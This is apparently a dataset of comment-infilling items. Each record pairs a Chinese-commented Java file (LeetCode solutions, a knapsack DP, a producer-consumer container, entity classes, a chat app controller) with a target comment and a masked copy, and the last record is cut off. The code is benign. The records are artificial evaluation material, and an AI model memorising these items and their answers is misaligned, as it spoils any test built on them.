mPercentForPlaying)); } @Override public void onCompleted(SpeechError error) { if (error == null) { showTip("播放完成"); } else if (error != null) { showTip(error.getPlainDescription(true)); } } @Override public void onEvent(int eventType, int arg1, int arg2, Bundle obj) { // 以下代码用于获取与云端的会话id,当业务出错时将会话id提供给技术支持人员,可用于查询会话日志,定位出错原因 // 若使用本地能力,会话id为null // if (SpeechEvent.EVENT_SESSION_ID == eventType) { // String sid = obj.getString(SpeechEvent.KEY_EVENT_SESSION_ID); // Log.d(TAG, "session id =" + sid); // } } }; private RecognizerListener mRecognizerListener = new RecognizerListener() { @Override public void onBeginOfSpeech() { // 此回调表示:sdk内部录音机已经准备好了,用户可以开始语音输入 showTip("开始说话"); } @Override public void onError(SpeechError error) { // Tips: // 错误码:10118(您没有说话),可能是录音机权限被禁,需要提示用户打开应用的录音权限。 showTip(error.getPlainDescription(true)); } @Override public void onEndOfSpeech() { // 此回调表示:检测到了语音的尾端点,已经进入识别过程,不再接受语音输入 showTip("结束说话"); text = mResult.getText().toString(); int num = text.length(); if (num >= 6) { //调用分割测试类显示结果 SpliteGenerate mSpliteGenerate = new SpliteGenerate(text); //获取分类处理好的数据实体类 Store mStore = mSpliteGenerate.classification(); if (mStore.getOperate().equals("放入")){ //将数据存入数据库中 mCookit.savaStore(mStore); }else if (mStore.getOperate().equals("拿走")){ mCookit.deleteDataBaseTest(); } //mSpliteGenerate.displayStore(); } Log.d("MY", String.valueOf(num)); mTts.startSpeaking(text, mTtsListener); } @Override public void onResult(RecognizerResult results, boolean isLast) { text = JsonParser.parseIatResult(results.getResultString()); mResult.append(text); mResult.setSelection(mResult.length()); if (isLast) { //TODO 最后的结果 } } @Override public void onVolumeChanged(int volume, byte[] data) { showTip("当前正在说话,音量大小:" + volume); Log.d("TAG", "返回音频数据:" + data.length); } @Override public void onEvent(int eventType, int arg1, int arg2, Bundle obj) { // 以下 <SUF> // 若使用本地能力,会话id为null // if (SpeechEvent.EVENT_SESSION_ID == eventType) { // String sid = obj.getString(SpeechEvent.KEY_EVENT_SESSION_ID); // Log.d(TAG, "session id =" + sid); // } } }; }
0
55510_2
class Solution529 { public char[][] updateBoard(char[][] board, int[] click) { boolean[][] visited = new boolean[board.length][board[0].length]; if (board[click[0]][click[1]] == 'M') { // 规则 1,点到雷改为X退出游戏 board[click[0]][click[1]] = 'X'; } else if (board[click[0]][click[1]] == 'E') { // 只有当点的是未被访问过的格子E才进入递归和判断 dfs(visited, board, click[0], click[1]); } return board; } public void dfs(boolean[][] visited, char[][] board, int x, int y) { // 访问当前结点 visited[x][y] = true; if (count(board, x, y) == 0) { board[x][y] = 'B'; int[] diff = new int[] {-1, 0, 1}; // 访问周围结点 for (int i = 0; i < diff.length; i++) for (int j = 0; j < diff.length; j++) { if (diff[i] == 0 && diff[j] == 0) continue; if (x + diff[i] < 0 || x + diff[i] >= board.length || y + diff[j] < 0 || y + diff[j] >= board[0].length || visited[x + diff[i]][y + diff[j]]) continue; dfs(visited, board, x + diff[i], y + diff[j]); } } else board[x][y] = (char) (count(board, x, y) + '0'); } public int count(char[][] board, int x, int y) { // 确定周围雷的数量 int res = 0; int[] diff = new int[] {-1, 0, 1}; for (int i = 0; i < diff.length; i++) for (int j = 0; j < diff.length; j++) { if (diff[i] == 0 && diff[j] == 0) continue; if (x + diff[i] < 0 || x + diff[i] >= board.length || y + diff[j] < 0 || y + diff[j] >= board[0].length) continue; if (board[x + diff[i]][y + diff[j]] == 'M') res++; } return res; } } /** * 点击的格子是M,直接改为X并退出游戏 * 点击的格子是是B或者数字,什么也不做退出游戏(题解里其实可以加上这个else if的判断) * 点击的格子是E才扩展:计算当前格子周围的雷的数量cnt,决定当前格子从E改为B还是改为数字;若改为数字则终止扩展(这也是为什么示例1还剩一个E),若改为B则继续扩展(遇到E才扩展,遇到B或者数字则终止) */
Echlorine/leetcode-solution
Java/Solution529.java
733
// 访问当前结点
line_comment
zh-cn
class Solution529 { public char[][] updateBoard(char[][] board, int[] click) { boolean[][] visited = new boolean[board.length][board[0].length]; if (board[click[0]][click[1]] == 'M') { // 规则 1,点到雷改为X退出游戏 board[click[0]][click[1]] = 'X'; } else if (board[click[0]][click[1]] == 'E') { // 只有当点的是未被访问过的格子E才进入递归和判断 dfs(visited, board, click[0], click[1]); } return board; } public void dfs(boolean[][] visited, char[][] board, int x, int y) { // 访问 <SUF> visited[x][y] = true; if (count(board, x, y) == 0) { board[x][y] = 'B'; int[] diff = new int[] {-1, 0, 1}; // 访问周围结点 for (int i = 0; i < diff.length; i++) for (int j = 0; j < diff.length; j++) { if (diff[i] == 0 && diff[j] == 0) continue; if (x + diff[i] < 0 || x + diff[i] >= board.length || y + diff[j] < 0 || y + diff[j] >= board[0].length || visited[x + diff[i]][y + diff[j]]) continue; dfs(visited, board, x + diff[i], y + diff[j]); } } else board[x][y] = (char) (count(board, x, y) + '0'); } public int count(char[][] board, int x, int y) { // 确定周围雷的数量 int res = 0; int[] diff = new int[] {-1, 0, 1}; for (int i = 0; i < diff.length; i++) for (int j = 0; j < diff.length; j++) { if (diff[i] == 0 && diff[j] == 0) continue; if (x + diff[i] < 0 || x + diff[i] >= board.length || y + diff[j] < 0 || y + diff[j] >= board[0].length) continue; if (board[x + diff[i]][y + diff[j]] == 'M') res++; } return res; } } /** * 点击的格子是M,直接改为X并退出游戏 * 点击的格子是是B或者数字,什么也不做退出游戏(题解里其实可以加上这个else if的判断) * 点击的格子是E才扩展:计算当前格子周围的雷的数量cnt,决定当前格子从E改为B还是改为数字;若改为数字则终止扩展(这也是为什么示例1还剩一个E),若改为B则继续扩展(遇到E才扩展,遇到B或者数字则终止) */
0
66465_14
package alg_02_train_dm._17_day_二叉树二_二刷; import java.util.ArrayList; import java.util.LinkedList; import java.util.List; import java.util.Queue; /** * @Author Wuyj * @DateTime 2023-08-10 19:10 * @Version 1.0 */ public class _10_257_binary_tree_paths2 { // KeyPoint 方法二 BFS => 高性能,打败 100 % => 需要掌握 public List<String> binaryTreePaths(TreeNode root) { // 输入: // 1 // / \ // 2 3 // \ // 5 // // 输出: ["1->2->5", "1->3"] List<String> res = new ArrayList<String>(); if (root == null) return res; Queue<TreeNode> nodeQueue = new LinkedList<TreeNode>(); // 在 BFS 过程中,每遍历一个节点,都会有一个 path 与之对应 // 直到遇到叶子节点,将完整 path 加入到 res 中 Queue<String> pathQueue = new LinkedList<String>(); nodeQueue.offer(root); // KeyPoint 区别:两者 API // 1.Integer.toString() // 2.Integer.parseInt() pathQueue.offer(Integer.toString(root.val)); while (!nodeQueue.isEmpty()) { TreeNode node = nodeQueue.poll(); String path = pathQueue.poll(); // 叶子节点 if (node.left == null && node.right == null) { res.add(path); // 结束后面循环 continue; } if (node.left != null) { nodeQueue.offer(node.left); // KeyPoint 注意事项 // append(node.left.val),不是 node.left,node.left 表示节点 // 同时,因为对 node.left 已经做了判空,不存在空指针异常 pathQueue.offer(new StringBuilder(path).append("->").append(node.left.val).toString()); } if (node.right != null) { nodeQueue.offer(node.right); pathQueue.offer(new StringBuilder(path).append("->").append(node.right.val).toString()); } } return res; } }
EchoWuyj/LeetCode
LC_douma/src/main/java/alg_02_train_dm/_17_day_二叉树二_二刷/_10_257_binary_tree_paths2.java
565
// 同时,因为对 node.left 已经做了判空,不存在空指针异常
line_comment
zh-cn
package alg_02_train_dm._17_day_二叉树二_二刷; import java.util.ArrayList; import java.util.LinkedList; import java.util.List; import java.util.Queue; /** * @Author Wuyj * @DateTime 2023-08-10 19:10 * @Version 1.0 */ public class _10_257_binary_tree_paths2 { // KeyPoint 方法二 BFS => 高性能,打败 100 % => 需要掌握 public List<String> binaryTreePaths(TreeNode root) { // 输入: // 1 // / \ // 2 3 // \ // 5 // // 输出: ["1->2->5", "1->3"] List<String> res = new ArrayList<String>(); if (root == null) return res; Queue<TreeNode> nodeQueue = new LinkedList<TreeNode>(); // 在 BFS 过程中,每遍历一个节点,都会有一个 path 与之对应 // 直到遇到叶子节点,将完整 path 加入到 res 中 Queue<String> pathQueue = new LinkedList<String>(); nodeQueue.offer(root); // KeyPoint 区别:两者 API // 1.Integer.toString() // 2.Integer.parseInt() pathQueue.offer(Integer.toString(root.val)); while (!nodeQueue.isEmpty()) { TreeNode node = nodeQueue.poll(); String path = pathQueue.poll(); // 叶子节点 if (node.left == null && node.right == null) { res.add(path); // 结束后面循环 continue; } if (node.left != null) { nodeQueue.offer(node.left); // KeyPoint 注意事项 // append(node.left.val),不是 node.left,node.left 表示节点 // 同时 <SUF> pathQueue.offer(new StringBuilder(path).append("->").append(node.left.val).toString()); } if (node.right != null) { nodeQueue.offer(node.right); pathQueue.offer(new StringBuilder(path).append("->").append(node.right.val).toString()); } } return res; } }
0
35016_0
package medium.everyday1657; import java.util.ArrayList; import java.util.Arrays; public class Solution { /* 如果可以使用以下操作从一个字符串得到另一个字符串,则认为两个字符串 接近 : 操作 1:交换任意两个 现有 字符。 例如,abcde -> aecdb 操作 2:将一个 现有 字符的每次出现转换为另一个 现有 字符,并对另一个字符执行相同的操作。 例如,aacabb -> bbcbaa(所有 a 转化为 b ,而所有的 b 转换为 a ) 你可以根据需要对任意一个字符串多次使用这两种操作。 给你两个字符串,word1 和 word2 。如果 word1 和 word2 接近 ,就返回 true ;否则,返回 false 。 */ public boolean closeStrings(String word1, String word2) { if(word2.length() != word1.length()){ return false; } int[] arr1 = new int[26], arr2 = new int[26]; for (int i = 0; i < word1.length(); i++) { arr1[word1.charAt(i) - 'a'] += 1; arr2[word2.charAt(i) - 'a'] += 1; } for (int i = 0; i < 26; i++) { if(arr1[i] > 0 && arr2[i] == 0 || arr2[i] > 0 && arr1[i] == 0){ return false; } } Arrays.sort(arr1); Arrays.sort(arr2); for (int i = 0; i < 26; i++) { if(arr1[i] != arr2[i]){ return false; } } return true; } }
Eclipsed-Y/LeetCode
Java/src/medium/everyday1657/Solution.java
439
/* 如果可以使用以下操作从一个字符串得到另一个字符串,则认为两个字符串 接近 : 操作 1:交换任意两个 现有 字符。 例如,abcde -> aecdb 操作 2:将一个 现有 字符的每次出现转换为另一个 现有 字符,并对另一个字符执行相同的操作。 例如,aacabb -> bbcbaa(所有 a 转化为 b ,而所有的 b 转换为 a ) 你可以根据需要对任意一个字符串多次使用这两种操作。 给你两个字符串,word1 和 word2 。如果 word1 和 word2 接近 ,就返回 true ;否则,返回 false 。 */
block_comment
zh-cn
package medium.everyday1657; import java.util.ArrayList; import java.util.Arrays; public class Solution { /* 如果可 <SUF>*/ public boolean closeStrings(String word1, String word2) { if(word2.length() != word1.length()){ return false; } int[] arr1 = new int[26], arr2 = new int[26]; for (int i = 0; i < word1.length(); i++) { arr1[word1.charAt(i) - 'a'] += 1; arr2[word2.charAt(i) - 'a'] += 1; } for (int i = 0; i < 26; i++) { if(arr1[i] > 0 && arr2[i] == 0 || arr2[i] > 0 && arr1[i] == 0){ return false; } } Arrays.sort(arr1); Arrays.sort(arr2); for (int i = 0; i < 26; i++) { if(arr1[i] != arr2[i]){ return false; } } return true; } }
1
24845_2
package ch12DP; import java.util.Scanner; public class Karma46TakeMaterial { public static void main(String[] args) { int[] weight = {1,3,4}; int[] value = {15,20,30}; int bagSize = 4; testWeightBagProblem2(weight,value,bagSize); } /** * 动态规划获得结果 * @param weight 物品的重量 * @param value 物品的价值 * @param bagSize 背包的容量 */ public static void testWeightBagProblem(int[] weight, int[] value, int bagSize){ // 创建dp数组 int goods = weight.length; // 获取物品的数量 int[][] dp = new int[goods][bagSize + 1]; // 初始化dp数组 // 创建数组后,其中默认的值就是0 /* Arrays.sort(weight); for (int j = weight[0]; j <= bagSize; j++) { dp[0][j] = value[0]; }*/ for (int j = 0; j <= bagSize; j++) { if (j >= weight[0]) { dp[0][j] = value[0]; // 当背包容量大于等于第一个物品的重量时,可以选择装入该物品 } else { dp[0][j] = 0; // 否则,背包内无法装入该物品,价值为0 } } // 填充dp数组 for (int i = 1; i < weight.length; i++) { for (int j = 0; j <= bagSize; j++) { if (j < weight[i]) { /** * 当前背包的容量都没有当前物品i大的时候,是不放物品i的 * 那么前i-1个物品能放下的最大价值就是当前情况的最大价值 */ dp[i][j] = dp[i-1][j]; } else { /** * 当前背包的容量可以放下物品i * 那么此时分两种情况: * 1、不放物品i * 2、放物品i * 比较这两种情况下,哪种背包中物品的最大价值最大 */ dp[i][j] = Math.max(dp[i-1][j] , dp[i-1][j-weight[i]] + value[i]); } } } // 打印dp数组 for (int i = 0; i < goods; i++) { for (int j = 0; j <= bagSize; j++) { System.out.print(dp[i][j] + "\t"); } System.out.println("\n"); } } /* * 不能正序可以这么理解: 虽然是一维数组,但是性质和二维背包差不多。 * 我们先来理解倒序遍历,从最后一个元素往前看,看到的都是“上一层的元素”然后每遍历到一个元素,就把当前元素赋值成“当前层”的。 * 这样得到的背包,因为每个元素加上的都是上一层的对应的物品value,所以不会重复。 * 因为二维数组是根据左上元素来求的,一维数组自然就是靠左边来求的。 * 倒序的时候左边元素再刷新前都是上一层的数据,但正序就不一样了,正序的时候,左边的元素刚刚刷新过,也就是左边的元素已经是本层的了, * 意味着什么 这样会导致一个物品反复加好几次。 * */ public static void testWeightBagProblem2(int[] weight, int[] value, int bagWeight){ int[] dp = new int[bagWeight + 1]; dp[0] = 0; //本来 应该每个值都赋一个 不影响后面比较max的最小值 敲定为0 但是这里不用赋值为0 默认都是0 /* * dp[j] = max(dp[j],dp[j - weight[i]] + value[i]) * */ int len = weight.length; for (int i = 0; i < len; i++) { for (int j = bagWeight; j >= weight[i] ; j--) { dp[j] = Math.max(dp[j],dp[j - weight[i]] + value[i]); } } for (int j = 0; j <= bagWeight; j++){ System.out.print(dp[j] + " "); } } }
EddieAy/Leetcode
ch12DP/Karma46TakeMaterial.java
1,097
// 获取物品的数量
line_comment
zh-cn
package ch12DP; import java.util.Scanner; public class Karma46TakeMaterial { public static void main(String[] args) { int[] weight = {1,3,4}; int[] value = {15,20,30}; int bagSize = 4; testWeightBagProblem2(weight,value,bagSize); } /** * 动态规划获得结果 * @param weight 物品的重量 * @param value 物品的价值 * @param bagSize 背包的容量 */ public static void testWeightBagProblem(int[] weight, int[] value, int bagSize){ // 创建dp数组 int goods = weight.length; // 获取 <SUF> int[][] dp = new int[goods][bagSize + 1]; // 初始化dp数组 // 创建数组后,其中默认的值就是0 /* Arrays.sort(weight); for (int j = weight[0]; j <= bagSize; j++) { dp[0][j] = value[0]; }*/ for (int j = 0; j <= bagSize; j++) { if (j >= weight[0]) { dp[0][j] = value[0]; // 当背包容量大于等于第一个物品的重量时,可以选择装入该物品 } else { dp[0][j] = 0; // 否则,背包内无法装入该物品,价值为0 } } // 填充dp数组 for (int i = 1; i < weight.length; i++) { for (int j = 0; j <= bagSize; j++) { if (j < weight[i]) { /** * 当前背包的容量都没有当前物品i大的时候,是不放物品i的 * 那么前i-1个物品能放下的最大价值就是当前情况的最大价值 */ dp[i][j] = dp[i-1][j]; } else { /** * 当前背包的容量可以放下物品i * 那么此时分两种情况: * 1、不放物品i * 2、放物品i * 比较这两种情况下,哪种背包中物品的最大价值最大 */ dp[i][j] = Math.max(dp[i-1][j] , dp[i-1][j-weight[i]] + value[i]); } } } // 打印dp数组 for (int i = 0; i < goods; i++) { for (int j = 0; j <= bagSize; j++) { System.out.print(dp[i][j] + "\t"); } System.out.println("\n"); } } /* * 不能正序可以这么理解: 虽然是一维数组,但是性质和二维背包差不多。 * 我们先来理解倒序遍历,从最后一个元素往前看,看到的都是“上一层的元素”然后每遍历到一个元素,就把当前元素赋值成“当前层”的。 * 这样得到的背包,因为每个元素加上的都是上一层的对应的物品value,所以不会重复。 * 因为二维数组是根据左上元素来求的,一维数组自然就是靠左边来求的。 * 倒序的时候左边元素再刷新前都是上一层的数据,但正序就不一样了,正序的时候,左边的元素刚刚刷新过,也就是左边的元素已经是本层的了, * 意味着什么 这样会导致一个物品反复加好几次。 * */ public static void testWeightBagProblem2(int[] weight, int[] value, int bagWeight){ int[] dp = new int[bagWeight + 1]; dp[0] = 0; //本来 应该每个值都赋一个 不影响后面比较max的最小值 敲定为0 但是这里不用赋值为0 默认都是0 /* * dp[j] = max(dp[j],dp[j - weight[i]] + value[i]) * */ int len = weight.length; for (int i = 0; i < len; i++) { for (int j = bagWeight; j >= weight[i] ; j--) { dp[j] = Math.max(dp[j],dp[j - weight[i]] + value[i]); } } for (int j = 0; j <= bagWeight; j++){ System.out.print(dp[j] + " "); } } }
0
63598_0
package com.edlplan.framework.utils.dataobject; /** * 自定义序列化的辅助类(打死不用java自带的) */ public class SerializableBuilder<T> { }
EdrowsLuo/osu-lab
EdlJavaExt/src/main/java/com/edlplan/framework/utils/dataobject/SerializableBuilder.java
52
/** * 自定义序列化的辅助类(打死不用java自带的) */
block_comment
zh-cn
package com.edlplan.framework.utils.dataobject; /** * 自定义 <SUF>*/ public class SerializableBuilder<T> { }
1
20918_7
/** * 面试题:写一个固定容量同步容器,拥有put和get方法,以及getCount方法, * 能够支持2个生产者线程以及10个消费者线程的阻塞调用 * * 使用wait和notify/notifyAll来实现 * * @author mashibing */ package yxxy.c_021; import java.util.LinkedList; import java.util.concurrent.TimeUnit; public class MyContainer1<T> { final private LinkedList<T> lists = new LinkedList<>(); final private int MAX = 10; //最多10个元素 private int count = 0; public synchronized void put(T t) { while(lists.size() == MAX) { //想想为什么用while而不是用if? try { this.wait(); //effective java } catch (InterruptedException e) { e.printStackTrace(); } } lists.add(t); ++count; this.notifyAll(); //通知消费者线程进行消费 } public synchronized T get() { T t = null; while(lists.size() == 0) { try { this.wait(); } catch (InterruptedException e) { e.printStackTrace(); } } t = lists.removeFirst(); count --; this.notifyAll(); //通知生产者进行生产 return t; } public static void main(String[] args) { MyContainer1<String> c = new MyContainer1<>(); //启动消费者线程 for(int i=0; i<10; i++) { new Thread(()->{ for(int j=0; j<5; j++) System.out.println(c.get()); }, "c" + i).start(); } try { TimeUnit.SECONDS.sleep(2); } catch (InterruptedException e) { e.printStackTrace(); } //启动生产者线程 for(int i=0; i<2; i++) { new Thread(()->{ for(int j=0; j<25; j++) c.put(Thread.currentThread().getName() + " " + j); }, "p" + i).start(); } } }
EduMoral/edu
concurrent/src/yxxy/c_021/MyContainer1.java
562
//启动生产者线程
line_comment
zh-cn
/** * 面试题:写一个固定容量同步容器,拥有put和get方法,以及getCount方法, * 能够支持2个生产者线程以及10个消费者线程的阻塞调用 * * 使用wait和notify/notifyAll来实现 * * @author mashibing */ package yxxy.c_021; import java.util.LinkedList; import java.util.concurrent.TimeUnit; public class MyContainer1<T> { final private LinkedList<T> lists = new LinkedList<>(); final private int MAX = 10; //最多10个元素 private int count = 0; public synchronized void put(T t) { while(lists.size() == MAX) { //想想为什么用while而不是用if? try { this.wait(); //effective java } catch (InterruptedException e) { e.printStackTrace(); } } lists.add(t); ++count; this.notifyAll(); //通知消费者线程进行消费 } public synchronized T get() { T t = null; while(lists.size() == 0) { try { this.wait(); } catch (InterruptedException e) { e.printStackTrace(); } } t = lists.removeFirst(); count --; this.notifyAll(); //通知生产者进行生产 return t; } public static void main(String[] args) { MyContainer1<String> c = new MyContainer1<>(); //启动消费者线程 for(int i=0; i<10; i++) { new Thread(()->{ for(int j=0; j<5; j++) System.out.println(c.get()); }, "c" + i).start(); } try { TimeUnit.SECONDS.sleep(2); } catch (InterruptedException e) { e.printStackTrace(); } //启动 <SUF> for(int i=0; i<2; i++) { new Thread(()->{ for(int j=0; j<25; j++) c.put(Thread.currentThread().getName() + " " + j); }, "p" + i).start(); } } }
0
17113_2
package tmall.bean; /** * Created by Edward on 2018/7/3 */ /** * 属性表 * 商品详情标签下的产品属性 * 不同的商品可能有相同的属性,如能效等级 */ public class Property { // 属性的唯一识别的 id private int id; // 属性的名称 private String name; // 和分类表的多对一关系 private Category category; // Get, Set public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public Category getCategory() { return category; } public void setCategory(Category category) { this.category = category; } }
EdwardLiu-Aurora/Tmall
src/tmall/bean/Property.java
205
// 属性的唯一识别的 id
line_comment
zh-cn
package tmall.bean; /** * Created by Edward on 2018/7/3 */ /** * 属性表 * 商品详情标签下的产品属性 * 不同的商品可能有相同的属性,如能效等级 */ public class Property { // 属性 <SUF> private int id; // 属性的名称 private String name; // 和分类表的多对一关系 private Category category; // Get, Set public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public Category getCategory() { return category; } public void setCategory(Category category) { this.category = category; } }
0
62038_2
package com.dd.entity; import org.nutz.dao.entity.annotation.Column; import org.nutz.dao.entity.annotation.Id; import org.nutz.dao.entity.annotation.Table; import java.util.Date; /** * Describe:消息Entity * Author:蛋蛋 * Age:Eighteen * Time:2017年4月25日 下午3:10:24 */ @Table("message") public class Message { @Id private int id;//消息id @Column("content") private String content;//消息内容 @Column("uid") private int uid;//我的id @Column(wrap=true,value="from") private Integer from;//发送人,如果此字段为0或者为没有则为系统消息 @Column("from_group") private int from_group;//分组id @Column(wrap=true,value="type") private int type;//1.请求加好友. 2.已拒绝 3.已同意 @Column("remark") private String remark;//留言 @Column("href") private String href; @Column(wrap=true,value="read") private int read;//是否已读.1.已读.0.未读 @Column(wrap=true,value="time") private Date time;//消息日期 private User user;//发送人信息 public final static String ID = "id"; public final static String CONTENT = "content"; public final static String UID = "uid"; public final static String FROM = "`from`"; public final static String FROM_GROUP = "from_group"; public final static String TYPE = "`type`"; public final static String REMARK = "remark"; public final static String HREF = "href"; public final static String READ = "`read`"; public final static String TIME = "time"; public static final String TABLE_NAME = "message"; public int getId() { return id; } public void setId(int id) { this.id = id; } public String getContent() { return content; } public void setContent(String content) { this.content = content; } public int getUid() { return uid; } public void setUid(int uid) { this.uid = uid; } public Integer getFrom() { return from; } public void setFrom(Integer from) { this.from = from; } public int getFrom_group() { return from_group; } public void setFrom_group(int from_group) { this.from_group = from_group; } public int getType() { return type; } public void setType(int type) { this.type = type; } public String getRemark() { return remark; } public void setRemark(String remark) { this.remark = remark; } public String getHref() { return href; } public void setHref(String href) { this.href = href; } public int getRead() { return read; } public void setRead(int read) { this.read = read; } public Date getTime() { return time; } public void setTime(Date time) { this.time = time; } public User getUser() { return user; } public void setUser(User user) { this.user = user; } @Override public String toString() { return "Message [id=" + id + ", content=" + content + ", uid=" + uid + ", from=" + from + ", from_group=" + from_group + ", type=" + type + ", remark=" + remark + ", href=" + href + ", read=" + read + ", time=" + time + ", user=" + user + "]"; } }
EggsBlue/LuliChat
src/main/java/com/dd/entity/Message.java
998
//消息内容
line_comment
zh-cn
package com.dd.entity; import org.nutz.dao.entity.annotation.Column; import org.nutz.dao.entity.annotation.Id; import org.nutz.dao.entity.annotation.Table; import java.util.Date; /** * Describe:消息Entity * Author:蛋蛋 * Age:Eighteen * Time:2017年4月25日 下午3:10:24 */ @Table("message") public class Message { @Id private int id;//消息id @Column("content") private String content;//消息 <SUF> @Column("uid") private int uid;//我的id @Column(wrap=true,value="from") private Integer from;//发送人,如果此字段为0或者为没有则为系统消息 @Column("from_group") private int from_group;//分组id @Column(wrap=true,value="type") private int type;//1.请求加好友. 2.已拒绝 3.已同意 @Column("remark") private String remark;//留言 @Column("href") private String href; @Column(wrap=true,value="read") private int read;//是否已读.1.已读.0.未读 @Column(wrap=true,value="time") private Date time;//消息日期 private User user;//发送人信息 public final static String ID = "id"; public final static String CONTENT = "content"; public final static String UID = "uid"; public final static String FROM = "`from`"; public final static String FROM_GROUP = "from_group"; public final static String TYPE = "`type`"; public final static String REMARK = "remark"; public final static String HREF = "href"; public final static String READ = "`read`"; public final static String TIME = "time"; public static final String TABLE_NAME = "message"; public int getId() { return id; } public void setId(int id) { this.id = id; } public String getContent() { return content; } public void setContent(String content) { this.content = content; } public int getUid() { return uid; } public void setUid(int uid) { this.uid = uid; } public Integer getFrom() { return from; } public void setFrom(Integer from) { this.from = from; } public int getFrom_group() { return from_group; } public void setFrom_group(int from_group) { this.from_group = from_group; } public int getType() { return type; } public void setType(int type) { this.type = type; } public String getRemark() { return remark; } public void setRemark(String remark) { this.remark = remark; } public String getHref() { return href; } public void setHref(String href) { this.href = href; } public int getRead() { return read; } public void setRead(int read) { this.read = read; } public Date getTime() { return time; } public void setTime(Date time) { this.time = time; } public User getUser() { return user; } public void setUser(User user) { this.user = user; } @Override public String toString() { return "Message [id=" + id + ", content=" + content + ", uid=" + uid + ", from=" + from + ", from_group=" + from_group + ", type=" + type + ", remark=" + remark + ", href=" + href + ", read=" + read + ", time=" + time + ", user=" + user + "]"; } }
0
20796_7
package com.mychat.controol; import java.util.HashMap; import java.util.List; import java.util.Map; import javax.servlet.http.HttpSession; import org.nutz.dao.Cnd; import org.nutz.dao.Dao; import org.nutz.ioc.loader.annotation.Inject; import org.nutz.ioc.loader.annotation.IocBean; import org.nutz.json.Json; import org.nutz.lang.Strings; import org.nutz.lang.util.NutMap; import org.nutz.mvc.annotation.At; import org.nutz.mvc.annotation.Attr; import org.nutz.mvc.annotation.Ok; import org.nutz.mvc.annotation.Param; import com.mychat.dao.ChatMessageDao; import com.mychat.dao.UserDao; import com.mychat.entity.InitData; import com.mychat.entity.JsonMsgModel; import com.mychat.entity.Message; import com.mychat.entity.User; import com.mychat.msg.entity.ChatMessage; /** * Describe: User Controll * Author:陆小不离 * Age:Eighteen * Time:2017年4月24日 上午11:34:08 */ @IocBean @At("/user") @Ok("json") public class UserModule { @Inject(value="userDao") private UserDao userDao; @Inject private Dao dao; @Inject private ChatMessageDao chatMessageDao; /** * 登陆 * @param u * @param session * @return */ @At public Object login(@Param("..")User u,HttpSession session){ NutMap re = new NutMap(); User user = userDao.getByNamPwd(u); if(user == null){ re.setv("ok", false).setv("msg", "用户名或密码错误!"); return re; }else{ session.setAttribute("me", user.getId()); session.setAttribute("username", user.getUsername()); re.setv("ok", true).setv("msg", "登陆成功!"); userDao.online(user.getId()); return re; } } /** * 注册 * @param user * @param session * @return */ @At public Object registry(@Param("..") User user,HttpSession session){ NutMap re = new NutMap(); String msg = checkUser(user,true); if(msg != null){ re.setv("ok", false).setv("msg", msg); return re; } user.setAvatar("/mychat/imgs/user.jpg"); User u = userDao.save(user); if(u==null){ re.setv("ok", false).setv("msg", "注册失败!"); return re; }else{ session.setAttribute("me", user.getId()); session.setAttribute("username", user.getUsername()); re.setv("ok", true).setv("msg", "注册成功"); //添加默认分组 userDao.addGroup(u.getId(), "家人"); userDao.addGroup(u.getId(), "朋友"); return re; } } /** * 查找用户 * @param name * @return */ @At public Object seachUser(@Param("name") String name){ List<User> users = userDao.getByLikeName(name); return Json.toJson(users); } /** * 初始化数据 * @param me * @return */ @At @Ok("raw") public String getInitData(@Attr("me") int me){ String data = userDao.getInitData(me); System.out.println(data); return data; } /** * 获取未读消息数量 * @param me * @return */ @At public Object unreadMsgCount(@Attr("me") int me){ List<Message> msgs = userDao.getMessages(me); int count = 0; for(Message msg : msgs){ if(msg.getRead() == 0){//0未读 count++; } } NutMap nm = new NutMap(); nm.setv("ok", true).setv("count",count); return nm; } /** * 获取我的消息 * @param me * @return */ @At public Object getMsg(@Attr("me") int me){ List<Message> msgs = userDao.getMessages(me); JsonMsgModel jmm = new JsonMsgModel(); jmm.setCode(0); jmm.setPages(1); jmm.setData(msgs); return jmm; } /** * 已读我的消息 * @param me */ @At public void markRead(@Attr("me") int me){ userDao.markRead(me); } /** * 申请添加好友 * @param me 我的id * @param uid 对方id * @param from_group 到哪个分组? * @return */ @At public Object applyFriend(@Attr("me") int me,@Param("uid")int uid,@Param("from_group")int from_group ){ NutMap nm = new NutMap(); int i = userDao.applyFriend(uid, me, from_group); if(1>0) nm.setv("ok", 1); else nm.setv("ok", 0); return nm; } /** * 同意添加 * @param me 我的id * @param uid 对方的id * @param group 我要添加到的分组id * @param from_group 对方要添加到的分组id * @return */ @At public Object addFridend(@Attr("me") int me,@Param("uid") int uid,@Param("group") int group,@Param("from_group") int from_group,@Param("msgid")int msgid){ NutMap nm = new NutMap(); //查出我的所有好友,判断是否已经添加过 List<User> list = userDao.getFriends(me); if(list!=null && list.size()>0){ for(User u : list){ if(u.getId() == uid) return nm.setv("code", 1).setv("msg", "不可重复添加!"); } } int id = userDao.addFriend(me, uid, group); int i = userDao.addFriend(uid, me, from_group); System.out.println("加好友成功!"); //更新消息状态 userDao.updateMsg(msgid, 3); //更新状态为已同意 nm.setv("code", 0); return nm; } /** * 拒绝添加 * @param me * @param msgid * @return */ @At public Object declineApply(@Attr("me") int me,@Param("msgid")int msgid){ NutMap nm = new NutMap(); userDao.updateMsg(msgid, 2); nm.setv("code", 0); return nm; } /** * 上线 * @param me */ @At public void online(@Attr("me") int me){ userDao.online(me); } /** * 下线 * @param me */ @At public void hide(@Attr("me") int me){ userDao.hide(me); } /** * 修改签名 * @param me * @param sign */ @At public void updateSign(@Attr("me") int me,@Param("sign") String sign){ userDao.updateSign(me, sign); } /** * 根据id获取用户信息,可用于查看在线状态 * @param id * @return */ @At public Object getUser(@Param("id") int id){ User user = userDao.findbyid(id); return user; } /** * 查询群成员 * @param id * @return */ @At public Object getMembers(@Param("id") int fid){ List<User> members = userDao.getMembers(fid); InitData id = new InitData(); id.setCode(0); id.setMsg(""); Map<String,Object> war = new HashMap<String,Object>(); war.put("list", members); id.setData(war); return id; } /** * 分页查询聊天记录 * @param me * @param pageNo * @param pageSize * @param toid * @param type * @return */ @At @Ok("json") public Object getOldMsgs(@Attr("me") int me,@Param("pageNo") int pageNo,@Param("pageSize") int pageSize,@Param("toid") int toid,@Param("type") int type){ /* username: '纸飞机' ,id: 1 ,avatar: 'http://tva3.sinaimg.cn/crop.0.0.512.512.180/8693225ajw8f2rt20ptykj20e80e8weu.jpg' ,timestamp: 1480897882000 ,content: 'face[抱抱] face[心] 